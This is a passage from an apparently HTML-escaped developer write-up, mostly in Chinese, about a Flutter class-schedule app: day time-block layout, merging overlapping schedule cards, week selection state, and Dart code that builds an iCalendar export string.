\u003ccode\u003eChangeNotifier\u003c/code\u003e 之后再来看。\u003c/p\u003e\n\u003ch3 id=\"一天的区分\"\u003e一天的区分\u003c/h3\u003e\n\u003cp\u003e和前身课程表不同,本表格由于添加了午休和晚饭时间,所以需要说明一天的划分状况:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e早晨的 1-4 节课,每节课可以细分成 5 个小块来处理\u003c/li\u003e\n\u003cli\u003e午休按照 3 块来处理,表示 12:00 - 14:00\u003c/li\u003e\n\u003cli\u003e下午的 5-8 节课,每节课可以细分成 5 个小块来处理\u003c/li\u003e\n\u003cli\u003e晚饭时间按照 3 块来处理,表示 17:30 - 19:00\u003c/li\u003e\n\u003cli\u003e晚上的 9-11 节课,每节课可以细分成 5 个小块来处理\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e很显然,这每个小块所代表的时长是不一样的,这是一种设计上的妥协。在实际计算中,如果不是按照课程那种“比较规整”的角度来决定开始结束的,那就需要计算时间在格子上的相对位置了。\u003c/p\u003e\n\u003ch3 id=\"日程的计算与展示\"\u003e日程的计算与展示\u003c/h3\u003e\n\u003cp\u003e首先,我们要知道\u003ccode\u003eClassOrgainzedData\u003c/code\u003e是个啥。这是一个用来计算在一天之内,如何渲染卡片的类。它有六个属性:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e开始的位置和结束的位置,分别计为\u003ccode\u003estart\u003c/code\u003e和\u003ccode\u003estop\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e要显示的日程名称\u003ccode\u003ename\u003c/code\u003e和位置\u003ccode\u003eplace\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e卡片要显示的颜色\u003ccode\u003ecolor\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e这段日程之内,有多少同时进行的,计为\u003ccode\u003edata\u003c/code\u003e。这是个动态类型的List,设计中只允许\u003ccode\u003eTimeArrangement\u003c/code\u003e,\u003ccode\u003eExperimentData\u003c/code\u003e,\u003ccode\u003eSubject\u003c/code\u003e(考试信息)。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e具体如何计算开始和结束的位置,请结合“一天的区分”章节来看针对各个状况写的构造函数。\u003c/p\u003e\n\u003cp\u003e现在我们考虑一天之内,日程是如何展示的。以下的逻辑是在\u003ccode\u003e/lib/page/classtable/class_table_view\u003c/code\u003e里面,函数\u003ccode\u003eList\u0026lt;Widget\u0026gt; classSubRow(int index)\u003c/code\u003e过程的展现:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e如果传入的索引是 0,进行对最左边时间划分信息轴的渲染。否则进行下面的步骤。\u003c/li\u003e\n\u003cli\u003e从课程表信息中的时间信息\u003ccode\u003etimeArrangement\u003c/code\u003e,考试信息\u003ccode\u003esubject\u003c/code\u003e,物理实验信息\u003ccode\u003eexperiments\u003c/code\u003e中,获取对应周次日期的日程信息。\u003c/li\u003e\n\u003cli\u003e按照开始时间排序。\u003c/li\u003e\n\u003cli\u003e按照\u003ccode\u003e_checkIsOverLapping\u003c/code\u003e分析可能的重复情况,如果有重复,按照重复的所有日程中最早的开始和最晚的结束,定义新的日程信息,其中包括所有这段时间里面经历的信息。这里应该能保证,最终形成的日程不会有任何交集。\u003c/li\u003e\n\u003cli\u003e根据生成的日程安排信息,使用\u003ccode\u003ePositioned\u003c/code\u003e组件,直接定位对应的位置,构建课程卡片。其中顶部和高度还要考虑到手机状态或平板状态,在\u003ccode\u003eblockheight\u003c/code\u003e中定义;左侧宽度由对应日期在一周中的位置确定。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e最终,这些东西一起扔到一个\u003ccode\u003eStack\u003c/code\u003e里面,加上最上面显示日期周次信息的\u003ccode\u003eClassTableDateRow\u003c/code\u003e,完成对日程表的渲染。\u003ccode\u003eClassTableDateRow\u003c/code\u003e代码在\u003ccode\u003eclasstable_date_row.dart\u003c/code\u003e,有三处值得注意:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e需要计算那一周周一的日期。\u003c/li\u003e\n\u003cli\u003e今天的颜色需要不一样。\u003c/li\u003e\n\u003cli\u003e长宽比不同的时候,字体的颜色不同。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e以上代码大幅度参考\u003ccode\u003eflutter_calendar_view\u003c/code\u003e插件。\u003c/p\u003e\n\u003ch3 id=\"显示详细信息\"\u003e显示详细信息\u003c/h3\u003e\n\u003cp\u003e课程卡片点进去是会有弹窗,提示里面有啥详细信息的。这里涉及到\u003ccode\u003eClassOrgainzedData\u003c/code\u003e里面那个数组了,它会传给\u003ccode\u003eClassCard\u003c/code\u003e,然后当弹窗时候,传给\u003ccode\u003eArrangementDetail\u003c/code\u003e。注意,\u003ccode\u003eArrangementDetail\u003c/code\u003e会调用\u003ccode\u003eArrangementDetailState\u003c/code\u003e,所以,还是得先懂\u003ccode\u003eInheritedWidget\u003c/code\u003e是啥:P\u003c/p\u003e\n\u003ch3 id=\"用户选择周次\"\u003e用户选择周次\u003c/h3\u003e\n\u003cp\u003e称为\u003ccode\u003ecurrentWeek\u003c/code\u003e,首次加载的时候会默认从控制器里面获取计算好的周次信息,并进行判断。如果不在学期长度范围内,则按照情况渲染第一周/最后一周日程表。\u003c/p\u003e\n\u003cp\u003e当然,每次用户更改周次的时候,我们都需要刷新状态,所以我使用了 setter 来简化编程。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Current showing week.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e_chosenWeek\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Change chosen week.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eset\u003c/span\u003e \u003cspan class=\"n\"\u003echosenWeek\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003echosenWeek\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e_chosenWeek\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003echosenWeek\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003enotifyListeners\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003echosenWeek\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003e_chosenWeek\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e顺便在此说明,为了精简页面,日程表切换是用\u003ccode\u003eTabBarView\u003c/code\u003e实现的。切换的\u003ccode\u003eTabBar\u003c/code\u003e只会显示周次信息,不会再显示课表概览了。\u003c/p\u003e\n\u003ch3 id=\"输出课表到-icalendar\"\u003e输出课表到 iCalendar\u003c/h3\u003e\n\u003cp\u003e先从课程表页面状态读取生成的 iCalendar 字符串,然后进行分享。\u003c/p\u003e\n\u003cp\u003e生成该文件内容的代码在称为\u003ccode\u003eiCalendar\u003c/code\u003e的 getter 里面,以下是一些不正经介绍。\u003c/p\u003e\n\u003cp\u003eInitally I want to output classtable schedule to the system calendar, but it isn’t good. So far, it outputs the class schedule one by one, from the first class of the first week to the last class of the last week. I have to let users agree serveral times to import all class schedules, so ummm…\u003c/p\u003e\n\u003cp\u003eSo I use iCalendar, a standard to transfer schedules. It can transfer the name of your schedule, the time range (start time and end time), and lots of additional infos, including email, alert, personnel etc.\u003c/p\u003e\n\u003cp\u003eFor the class schedules, aka classtable, we only care about the place, time, and the name. According to the \u003ca class=\"link\" href=\"https://blog.woooo.tech/posts/about_linux_desktop/\" target=\"_blank\" rel=\"noopener\"\n \u003e\u003cstrong\u003eCYBER GOD OF OUR SCHOOL\u003c/strong\u003e\u003c/a\u003e, we do not need a \u0026ldquo;iCalender parser library\u0026rdquo;, just treat it as a plain text file with mime-type \u003ccode\u003etext/calendar\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eI will introduce a very simple iCalendar file here, and of course, it isn\u0026rsquo;t cover all about iCalendar.\u003c/p\u003e\n\u003cp\u003eThe whole iCalendar file is covered by \u003ccode\u003eBEGIN:VCALENDAR\u003c/code\u003e and \u003ccode\u003eEND:VCALENDAR\u003c/code\u003e. While every schedule is covered by \u003ccode\u003eBEGIN:VEVENT\u003c/code\u003e and \u003ccode\u003eEND:VEVENT\u003c/code\u003e. For each schedule, we can input the following attributes:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eSUMMARY\u003c/code\u003e: A quickview of the schedule. In our case, the class’s name and place.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eDESCRIPTION\u003c/code\u003e: Detail description of the schedule. We can put teacher info in here.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eDTSTART\u003c/code\u003e and \u003ccode\u003eDTEND\u003c/code\u003e: The start time and the end time of the schedule. Notice we need to follow the time pattern \u003ccode\u003eyyyyMMddTHHmmss\u003c/code\u003e, a description is at \u003ca class=\"link\" href=\"https://icalendar.org/iCalendar-RFC-5545/3-3-5-date-time.html\" target=\"_blank\" rel=\"noopener\"\n \u003ehere\u003c/a\u003e and \u003ca class=\"link\" href=\"https://pub.dev/documentation/intl/latest/intl/DateFormat-class.html\" target=\"_blank\" rel=\"noopener\"\n \u003ehere\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eFinally, a refrence of my code about output the iCalendar string.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003eiCalenderStr\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;BEGIN:VCALENDAR\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"k\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003etimeArrangement\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003esummary\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;SUMMARY:\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eclassDetail\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e@\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eclassroom\u003c/span\u003e \u003cspan class=\"o\"\u003e??\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;待定\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003edescription\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;DESCRIPTION:课程名称:\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eclassDetail\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e; 上课地点:\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eclassroom\u003c/span\u003e \u003cspan class=\"o\"\u003e??\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;待定\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eweekList\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eweekList\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econtinue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eJiffy\u003c/span\u003e \u003cspan class=\"n\"\u003eday\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eJiffy\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparseFromDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estartDay\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eweeks:\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003edays:\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eday\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003evevent\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;BEGIN:VEVENT\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003esummary\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003estartTime\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003etime\u003c/span\u003e\u003cspan class=\"p\"\u003e[(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;:\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003estopTime\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003etime\u003c/span\u003e\u003cspan class=\"p\"\u003e[(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estop\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"m\"\u003e2\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;:\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003evevent\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;DTSTART:\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eday\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ehours:\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estartTime\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]),\u003c/span\u003e \u003cspan class=\"nl\"\u003eminutes:\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estartTime\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e])).\u003c/span\u003e\u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003epattern:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;yyyyMMddTHHmmss\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003evevent\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;DTEND:\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eday\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ehours:\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estopTime\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]),\u003c/span\u003e \u003cspan class=\"nl\"\u003eminutes:\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estopTime\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e])).\u003c/span\u003e\u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003epattern:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;yyyyMMddTHHmmss\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003evevent\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003edescription\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003eEND:VEVENT\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan 